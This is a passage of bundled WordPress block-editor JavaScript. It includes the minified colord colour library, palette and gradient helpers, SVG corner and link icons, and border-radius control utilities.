t?(r=t[1]).length<=4?{r:parseInt(r[0]+r[0],16),g:parseInt(r[1]+r[1],16),b:parseInt(r[2]+r[2],16),a:4===r.length?n(parseInt(r[3]+r[3],16)/255,2):1}:6===r.length||8===r.length?{r:parseInt(r.substr(0,2),16),g:parseInt(r.substr(2,2),16),b:parseInt(r.substr(4,2),16),a:8===r.length?n(parseInt(r.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(r){var t=v.exec(r)||m.exec(r);return t?t[2]!==t[4]||t[4]!==t[6]?null:a({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(t){var n=l.exec(t)||p.exec(t);if(!n)return null;var e,u,a=g({h:(e=n[1],u=n[2],void 0===u&&(u="deg"),Number(e)*(colord_r[u]||1)),s:Number(n[3]),l:Number(n[4]),a:void 0===n[5]?1:Number(n[5])/(n[6]?100:1)});return f(a)},"hsl"]],object:[[function(r){var n=r.r,e=r.g,u=r.b,o=r.a,i=void 0===o?1:o;return t(n)&&t(e)&&t(u)?a({r:Number(n),g:Number(e),b:Number(u),a:Number(i)}):null},"rgb"],[function(r){var n=r.h,e=r.s,u=r.l,a=r.a,o=void 0===a?1:a;if(!t(n)||!t(e)||!t(u))return null;var i=g({h:Number(n),s:Number(e),l:Number(u),a:Number(o)});return f(i)},"hsl"],[function(r){var n=r.h,a=r.s,o=r.v,i=r.a,s=void 0===i?1:i;if(!t(n)||!t(a)||!t(o))return null;var h=function(r){return{h:u(r.h),s:e(r.s,0,100),v:e(r.v,0,100),a:e(r.a)}}({h:Number(n),s:Number(a),v:Number(o),a:Number(s)});return b(h)},"hsv"]]},N=function(r,t){for(var n=0;n<t.length;n++){var e=t[n][0](r);if(e)return[e,t[n][1]]}return[null,void 0]},x=function(r){return"string"==typeof r?N(r.trim(),y.string):"object"==typeof r&&null!==r?N(r,y.object):[null,void 0]},I=function(r){return x(r)[1]},M=function(r,t){var n=c(r);return{h:n.h,s:e(n.s+100*t,0,100),l:n.l,a:n.a}},H=function(r){return(299*r.r+587*r.g+114*r.b)/1e3/255},$=function(r,t){var n=c(r);return{h:n.h,s:n.s,l:e(n.l+100*t,0,100),a:n.a}},colord_j=function(){function r(r){this.parsed=x(r)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return r.prototype.isValid=function(){return null!==this.parsed},r.prototype.brightness=function(){return n(H(this.rgba),2)},r.prototype.isDark=function(){return H(this.rgba)<.5},r.prototype.isLight=function(){return H(this.rgba)>=.5},r.prototype.toHex=function(){return r=o(this.rgba),t=r.r,e=r.g,u=r.b,i=(a=r.a)<1?s(n(255*a)):"","#"+s(t)+s(e)+s(u)+i;var r,t,e,u,a,i},r.prototype.toRgb=function(){return o(this.rgba)},r.prototype.toRgbString=function(){return r=o(this.rgba),t=r.r,n=r.g,e=r.b,(u=r.a)<1?"rgba("+t+", "+n+", "+e+", "+u+")":"rgb("+t+", "+n+", "+e+")";var r,t,n,e,u},r.prototype.toHsl=function(){return d(c(this.rgba))},r.prototype.toHslString=function(){return r=d(c(this.rgba)),t=r.h,n=r.s,e=r.l,(u=r.a)<1?"hsla("+t+", "+n+"%, "+e+"%, "+u+")":"hsl("+t+", "+n+"%, "+e+"%)";var r,t,n,e,u},r.prototype.toHsv=function(){return r=h(this.rgba),{h:n(r.h),s:n(r.s),v:n(r.v),a:n(r.a,3)};var r},r.prototype.invert=function(){return w({r:255-(r=this.rgba).r,g:255-r.g,b:255-r.b,a:r.a});var r},r.prototype.saturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,r))},r.prototype.desaturate=function(r){return void 0===r&&(r=.1),w(M(this.rgba,-r))},r.prototype.grayscale=function(){return w(M(this.rgba,-1))},r.prototype.lighten=function(r){return void 0===r&&(r=.1),w($(this.rgba,r))},r.prototype.darken=function(r){return void 0===r&&(r=.1),w($(this.rgba,-r))},r.prototype.rotate=function(r){return void 0===r&&(r=15),this.hue(this.hue()+r)},r.prototype.alpha=function(r){return"number"==typeof r?w({r:(t=this.rgba).r,g:t.g,b:t.b,a:r}):n(this.rgba.a,3);var t},r.prototype.hue=function(r){var t=c(this.rgba);return"number"==typeof r?w({h:r,s:t.s,l:t.l,a:t.a}):n(t.h)},r.prototype.isEqual=function(r){return this.toHex()===w(r).toHex()},r}(),w=function(r){return r instanceof colord_j?r:new colord_j(r)},S=[],k=function(r){r.forEach(function(r){S.indexOf(r)<0&&(r(colord_j,y),S.push(r))})},E=function(){return new colord_j({r:255*Math.random(),g:255*Math.random(),b:255*Math.random()})};
22114
22115;// ./node_modules/colord/plugins/names.mjs
22116/* harmony default export */ function names(e,f){var a={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},r={};for(var d in a)r[a[d]]=d;var l={};e.prototype.toName=function(f){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var d,i,n=r[this.toHex()];if(n)return n;if(null==f?void 0:f.closest){var o=this.toRgb(),t=1/0,b="black";if(!l.length)for(var c in a)l[c]=new e(a[c]).toRgb();for(var g in a){var u=(d=o,i=l[g],Math.pow(d.r-i.r,2)+Math.pow(d.g-i.g,2)+Math.pow(d.b-i.b,2));u<t&&(t=u,b=g)}return b}};f.string.push([function(f){var r=f.toLowerCase(),d="transparent"===r?"#0000":a[r];return d?new e(d).toRgb():null},"name"])}
22117
22118;// ./node_modules/colord/plugins/a11y.mjs
22119var a11y_o=function(o){var t=o/255;return t<.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},a11y_t=function(t){return.2126*a11y_o(t.r)+.7152*a11y_o(t.g)+.0722*a11y_o(t.b)};/* harmony default export */ function a11y(o){o.prototype.luminance=function(){return o=a11y_t(this.rgba),void 0===(r=2)&&(r=0),void 0===n&&(n=Math.pow(10,r)),Math.round(n*o)/n+0;var o,r,n},o.prototype.contrast=function(r){void 0===r&&(r="#FFF");var n,a,i,e,v,u,d,c=r instanceof o?r:new o(r);return e=this.rgba,v=c.toRgb(),u=a11y_t(e),d=a11y_t(v),n=u>d?(u+.05)/(d+.05):(d+.05)/(u+.05),void 0===(a=2)&&(a=0),void 0===i&&(i=Math.pow(10,a)),Math.floor(i*n)/i+0},o.prototype.isReadable=function(o,t){return void 0===o&&(o="#FFF"),void 0===t&&(t={}),this.contrast(o)>=(e=void 0===(i=(r=t).size)?"normal":i,"AAA"===(a=void 0===(n=r.level)?"AA":n)&&"normal"===e?7:"AA"===a&&"large"===e?3:4.5);var r,n,a,i,e}}
22120
22121;// ./node_modules/@wordpress/block-editor/build-module/components/colors/utils.js
22122
22123
22124
22125
22126
22127k([names, a11y]);
22128const { kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
22129const getColorObjectByAttributeValues = (colors, definedColor, customColor) => {
22130 if (definedColor) {
22131 const colorObj = colors?.find(
22132 (color) => color.slug === definedColor
22133 );
22134 if (colorObj) {
22135 return colorObj;
22136 }
22137 }
22138 return {
22139 color: customColor
22140 };
22141};
22142const getColorObjectByColorValue = (colors, colorValue) => {
22143 return colors?.find((color) => color.color === colorValue);
22144};
22145function getColorClassName(colorContextName, colorSlug) {
22146 if (!colorContextName || !colorSlug) {
22147 return void 0;
22148 }
22149 return `has-${kebabCase(colorSlug)}-${colorContextName}`;
22150}
22151function getMostReadableColor(colors, colorValue) {
22152 const colordColor = w(colorValue);
22153 const getColorContrast = ({ color }) => colordColor.contrast(color);
22154 const maxContrast = Math.max(...colors.map(getColorContrast));
22155 return colors.find((color) => getColorContrast(color) === maxContrast).color;
22156}
22157
22158
22159;// ./node_modules/@wordpress/block-editor/build-module/components/colors-gradients/use-multiple-origin-colors-and-gradients.js
22160
22161
22162
22163function useMultipleOriginColorsAndGradients() {
22164 const [
22165 enableCustomColors,
22166 customColors,
22167 themeColors,
22168 defaultColors,
22169 shouldDisplayDefaultColors,
22170 enableCustomGradients,
22171 customGradients,
22172 themeGradients,
22173 defaultGradients,
22174 shouldDisplayDefaultGradients
22175 ] = use_settings_useSettings(
22176 "color.custom",
22177 "color.palette.custom",
22178 "color.palette.theme",
22179 "color.palette.default",
22180 "color.defaultPalette",
22181 "color.customGradient",
22182 "color.gradients.custom",
22183 "color.gradients.theme",
22184 "color.gradients.default",
22185 "color.defaultGradients"
22186 );
22187 const colorGradientSettings = {
22188 disableCustomColors: !enableCustomColors,
22189 disableCustomGradients: !enableCustomGradients
22190 };
22191 colorGradientSettings.colors = (0,external_wp_element_namespaceObject.useMemo)(() => {
22192 const result = [];
22193 if (themeColors && themeColors.length) {
22194 result.push({
22195 name: (0,external_wp_i18n_namespaceObject._x)(
22196 "Theme",
22197 "Indicates this palette comes from the theme."
22198 ),
22199 slug: "theme",
22200 colors: themeColors
22201 });
22202 }
22203 if (shouldDisplayDefaultColors && defaultColors && defaultColors.length) {
22204 result.push({
22205 name: (0,external_wp_i18n_namespaceObject._x)(
22206 "Default",
22207 "Indicates this palette comes from WordPress."
22208 ),
22209 slug: "default",
22210 colors: defaultColors
22211 });
22212 }
22213 if (customColors && customColors.length) {
22214 result.push({
22215 name: (0,external_wp_i18n_namespaceObject._x)(
22216 "Custom",
22217 "Indicates this palette is created by the user."
22218 ),
22219 slug: "custom",
22220 colors: customColors
22221 });
22222 }
22223 return result;
22224 }, [
22225 customColors,
22226 themeColors,
22227 defaultColors,
22228 shouldDisplayDefaultColors
22229 ]);
22230 colorGradientSettings.gradients = (0,external_wp_element_namespaceObject.useMemo)(() => {
22231 const result = [];
22232 if (themeGradients && themeGradients.length) {
22233 result.push({
22234 name: (0,external_wp_i18n_namespaceObject._x)(
22235 "Theme",
22236 "Indicates this palette comes from the theme."
22237 ),
22238 slug: "theme",
22239 gradients: themeGradients
22240 });
22241 }
22242 if (shouldDisplayDefaultGradients && defaultGradients && defaultGradients.length) {
22243 result.push({
22244 name: (0,external_wp_i18n_namespaceObject._x)(
22245 "Default",
22246 "Indicates this palette comes from WordPress."
22247 ),
22248 slug: "default",
22249 gradients: defaultGradients
22250 });
22251 }
22252 if (customGradients && customGradients.length) {
22253 result.push({
22254 name: (0,external_wp_i18n_namespaceObject._x)(
22255 "Custom",
22256 "Indicates this palette is created by the user."
22257 ),
22258 slug: "custom",
22259 gradients: customGradients
22260 });
22261 }
22262 return result;
22263 }, [
22264 customGradients,
22265 themeGradients,
22266 defaultGradients,
22267 shouldDisplayDefaultGradients
22268 ]);
22269 colorGradientSettings.hasColorsOrGradients = !!colorGradientSettings.colors.length || !!colorGradientSettings.gradients.length;
22270 return colorGradientSettings;
22271}
22272
22273
22274;// ./node_modules/@wordpress/icons/build-module/library/link.js
22275
22276
22277var link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
22278
22279
22280;// ./node_modules/@wordpress/block-editor/build-module/components/border-radius-control/linked-button.js
22281
22282
22283
22284
22285function LinkedButton({ isLinked, ...props }) {
22286 const label = isLinked ? (0,external_wp_i18n_namespaceObject.__)("Unlink radii") : (0,external_wp_i18n_namespaceObject.__)("Link radii");
22287 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22288 external_wp_components_namespaceObject.Button,
22289 {
22290 ...props,
22291 className: "components-border-radius-control__linked-button",
22292 size: "small",
22293 icon: isLinked ? link_default : link_off_default,
22294 iconSize: 24,
22295 label
22296 }
22297 );
22298}
22299
22300
22301;// ./node_modules/@wordpress/block-editor/build-module/components/border-radius-control/utils.js
22302
22303function mode(inputArray) {
22304 const arr = [...inputArray];
22305 return arr.sort(
22306 (a, b) => inputArray.filter((v) => v === b).length - inputArray.filter((v) => v === a).length
22307 ).shift();
22308}
22309function getAllUnit(selectedUnits = {}) {
22310 const { flat, ...cornerUnits } = selectedUnits;
22311 return flat || mode(Object.values(cornerUnits).filter(Boolean)) || "px";
22312}
22313function getAllValue(values = {}) {
22314 if (typeof values === "string") {
22315 return values;
22316 }
22317 const parsedQuantitiesAndUnits = Object.values(values).map((value2) => {
22318 const newValue = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value2);
22319 if (typeof value2 === "string" && newValue[0] === void 0) {
22320 return [value2, ""];
22321 }
22322 return newValue;
22323 });
22324 const allValues = parsedQuantitiesAndUnits.map(
22325 (value2) => value2[0] ?? ""
22326 );
22327 const allUnits = parsedQuantitiesAndUnits.map((value2) => value2[1]);
22328 const value = allValues.every((v) => v === allValues[0]) ? allValues[0] : "";
22329 const unit = mode(allUnits);
22330 const allValue = value === 0 || value ? `${value}${unit || ""}` : void 0;
22331 return allValue;
22332}
22333function hasMixedValues(values = {}) {
22334 if (typeof values === "string") {
22335 return false;
22336 }
22337 if (!values || typeof values !== "object") {
22338 return false;
22339 }
22340 const cornerValues = Object.values(values);
22341 if (cornerValues.length === 0) {
22342 return false;
22343 }
22344 const firstValue = cornerValues[0];
22345 const allSame = cornerValues.every((value) => value === firstValue);
22346 return !allSame;
22347}
22348function hasDefinedValues(values) {
22349 if (!values) {
22350 return false;
22351 }
22352 if (typeof values === "string") {
22353 return true;
22354 }
22355 const filteredValues = Object.values(values).filter((value) => {
22356 return !!value || value === 0;
22357 });
22358 return !!filteredValues.length;
22359}
22360function isValuePreset(value) {
22361 if (!value?.includes) {
22362 return false;
22363 }
22364 return value === "0" || value.includes("var:preset|border-radius|");
22365}
22366function getPresetSlug(value) {
22367 if (!value) {
22368 return;
22369 }
22370 if (value === "0" || value === "default") {
22371 return value;
22372 }
22373 const slug = value.match(/var:preset\|border-radius\|(.+)/);
22374 return slug ? slug[1] : void 0;
22375}
22376function utils_getSliderValueFromPreset(presetValue, presets) {
22377 if (presetValue === void 0) {
22378 return 0;
22379 }
22380 const slug = parseFloat(presetValue, 10) === 0 ? "0" : getPresetSlug(presetValue);
22381 const sliderValue = presets.findIndex((size) => {
22382 return String(size.slug) === slug;
22383 });
22384 return sliderValue !== -1 ? sliderValue : NaN;
22385}
22386function utils_getCustomValueFromPreset(value, presets) {
22387 if (!isValuePreset(value)) {
22388 return value;
22389 }
22390 const slug = parseFloat(value, 10) === 0 ? "0" : getPresetSlug(value);
22391 const radiusSize = presets.find((size) => String(size.slug) === slug);
22392 return radiusSize?.size;
22393}
22394function getPresetValueFromControlValue(controlValue, controlType, presets) {
22395 const size = parseInt(controlValue, 10);
22396 if (controlType === "selectList") {
22397 if (size === 0) {
22398 return void 0;
22399 }
22400 } else if (size === 0) {
22401 return "0";
22402 }
22403 return `var:preset|border-radius|${presets[controlValue]?.slug}`;
22404}
22405function utils_getPresetValueFromCustomValue(value, presets) {
22406 if (!value || isValuePreset(value) || value === "0") {
22407 return value;
22408 }
22409 const spacingMatch = presets.find(
22410 (size) => String(size.size) === String(value)
22411 );
22412 if (spacingMatch?.slug) {
22413 return `var:preset|border-radius|${spacingMatch.slug}`;
22414 }
22415 return value;
22416}
22417function convertPresetsToCustomValues(values, presets) {
22418 if (!values || typeof values !== "object") {
22419 return values;
22420 }
22421 const converted = {};
22422 Object.keys(values).forEach((key) => {
22423 const value = values[key];
22424 if (isValuePreset(value)) {
22425 const customValue = utils_getCustomValueFromPreset(value, presets);
22426 converted[key] = customValue !== void 0 ? customValue : value;
22427 } else {
22428 converted[key] = value;
22429 }
22430 });
22431 return converted;
22432}
22433
22434
22435;// ./node_modules/@wordpress/icons/build-module/library/settings.js
22436
22437
22438var settings_settings_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
22439 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z" }),
22440 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z" })
22441] });
22442
22443
22444;// ./node_modules/@wordpress/icons/build-module/library/corner-all.js
22445
22446
22447var corner_all_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22448 external_wp_primitives_namespaceObject.Path,
22449 {
22450 fillRule: "evenodd",
22451 clipRule: "evenodd",
22452 d: "M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Zm-12.5 9v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z"
22453 }
22454) });
22455
22456
22457;// ./node_modules/@wordpress/icons/build-module/library/corner-top-left.js
22458
22459
22460var corner_top_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
22461 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.G, { opacity: ".25", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z" }) }),
22462 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22463 external_wp_primitives_namespaceObject.Path,
22464 {
22465 fillRule: "evenodd",
22466 clipRule: "evenodd",
22467 d: "M6 5.75a.25.25 0 0 0-.25.25v3h-1.5V6c0-.966.784-1.75 1.75-1.75h3v1.5H6Z"
22468 }
22469 )
22470] });
22471
22472
22473;// ./node_modules/@wordpress/icons/build-module/library/corner-top-right.js
22474
22475
22476var corner_top_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
22477 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.G, { opacity: ".25", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z" }) }),
22478 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22479 external_wp_primitives_namespaceObject.Path,
22480 {
22481 fillRule: "evenodd",
22482 clipRule: "evenodd",
22483 d: "M18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Z"
22484 }
22485 )
22486] });
22487
22488
22489;// ./node_modules/@wordpress/icons/build-module/library/corner-bottom-left.js
22490
22491
22492var corner_bottom_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
22493 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.G, { opacity: ".25", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z" }) }),
22494 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22495 external_wp_primitives_namespaceObject.Path,
22496 {
22497 fillRule: "evenodd",
22498 clipRule: "evenodd",
22499 d: "M5.75 15v3c0 .138.112.25.25.25h3v1.5H6A1.75 1.75 0 0 1 4.25 18v-3h1.5Z"
22500 }
22501 )
22502] });
22503
22504
22505;// ./node_modules/@wordpress/icons/build-module/library/corner-bottom-right.js
22506
22507
22508var corner_bottom_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
22509 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.G, { opacity: ".25", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z" }) }),
22510 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22511 external_wp_primitives_namespaceObject.Path,
22512 {
22513 fillRule: "evenodd",
22514 clipRule: "evenodd",
22515 d: "M15 18.25h3a.25.25 0 0 0 .25-.25v-3h1.5v3A1.75 1.75 0 0 1 18 19.75h-3v-1.5Z"
22516 }
22517 )
22518] });
22519
22520
22521;// ./node_modules/@wordpress/block-editor/build-module/components/border-radius-control/constants.js
22522
22523
22524const constants_DEFAULT_VALUES = {
22525 topLeft: void 0,
22526 topRight: void 0,
22527 bottomLeft: void 0,
22528 bottomRight: void 0
22529};
22530const constants_RANGE_CONTROL_MAX_SIZE = 8;
22531const constants_EMPTY_ARRAY = [];
22532const CORNERS = {
22533 all: (0,external_wp_i18n_namespaceObject.__)("Border radius"),
22534 topLeft: (0,external_wp_i18n_namespaceObject.__)("Top left"),
22535 topRight: (0,external_wp_i18n_namespaceObject.__)("Top right"),
22536 bottomLeft: (0,external_wp_i18n_namespaceObject.__)("Bottom left"),
22537 bottomRight: (0,external_wp_i18n_namespaceObject.__)("Bottom right")
22538};
22539const constants_ICONS = {
22540 all: corner_all_default,
22541 topLeft: corner_top_left_default,
22542 topRight: corner_top_right_default,
22543 bottomLeft: corner_bottom_left_default,
22544 bottomRight: corner_bottom_right_default
22545};
22546const MIN_BORDER_RADIUS_VALUE = 0;
22547const MAX_BORDER_RADIUS_VALUES = {
22548 px: 100,
22549 em: 20,
22550 rem: 20
22551};
22552
22553
22554;// ./node_modules/@wordpress/block-editor/build-module/components/border-radius-control/single-input-control.js
22555
22556
22557
22558
22559
22560
22561
22562function SingleInputControl({
22563 corner,
22564 onChange,
22565 selectedUnits,
22566 setSelectedUnits,
22567 values: valuesProp,
22568 units,
22569 presets
22570}) {
22571 const changeCornerValue = (validatedValue) => {
22572 if (corner === "all") {
22573 onChange({
22574 topLeft: validatedValue,
22575 topRight: validatedValue,
22576 bottomLeft: validatedValue,
22577 bottomRight: validatedValue
22578 });
22579 } else {
22580 onChange({
22581 ...values,
22582 [corner]: validatedValue
22583 });
22584 }
22585 };
22586 const onChangeValue = (next) => {
22587 if (!onChange) {
22588 return;
22589 }
22590 const isNumeric = !isNaN(parseFloat(next));
22591 const nextValue = isNumeric ? next : void 0;
22592 changeCornerValue(nextValue);
22593 };
22594 const onChangeUnit = (next) => {
22595 const newUnits = { ...selectedUnits };
22596 if (corner === "all") {
22597 newUnits.flat = next;
22598 newUnits.topLeft = next;
22599 newUnits.topRight = next;
22600 newUnits.bottomLeft = next;
22601 newUnits.bottomRight = next;
22602 } else {
22603 newUnits[corner] = next;
22604 }
